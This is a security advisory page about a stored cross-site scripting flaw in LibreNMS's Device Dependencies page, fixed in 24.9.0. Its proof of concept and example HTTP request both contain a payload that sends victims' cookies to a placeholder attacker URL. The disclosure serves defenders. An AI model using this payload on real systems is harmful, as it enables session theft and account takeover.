Medium

LibreNMS has Stored Cross-site Scripting vulnerability in "Device Dependencies" feature

  • Disclosed: 01.10.2024
  • Updated: 11.10.2026 10:22

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.

Details

The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.

For example, the following payload can be used to exploit the vulnerability: t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"

When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.

The root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output.

This is evident in the following line of code: https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74

PoC

  1. Add a new device using the following payload for the hostname: t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"
  2. Save the device.
  3. Navigate to the device dependencies page.
  4. Observe that the injected script executes, redirecting the user to the attacker's website with any non-httponly cookies included in the URL.

Example Request:

http
POST /addhost HTTP/1.1
Host: <your_host>
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <your_cookie>

_token=<your_token>&hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%<attacker_url>%2F%3Fc%3D%27%2Bdocument.cookie%22&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit=

Impact

It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package librenms/librenms < 24.9.0 24.9.0

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
Weakness (CWE)
CWE-79
Platform
Composer
Package
librenms/librenms
Disclosed
01.10.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-rwwc-2v8q-gc9v - CC BY 4.0

Vulnerability history: librenms/librenms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
10.2019 08.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 39
  • Medium 56
  • Low 6

Disclosures per year

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Severity:
  1. LibreNMS has Stored Cross-site Scripting vulnerability in "Device Dependencies" feature this entry
    Medium · 7.5 CVE-2024-47527 < 24.9.0 24.9.0
  2. High · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  3. High · 7.1 CVE-2020-36947 <= 1.46 no fix
  4. Critical · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
Show more (20) Showing 21 of 45

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.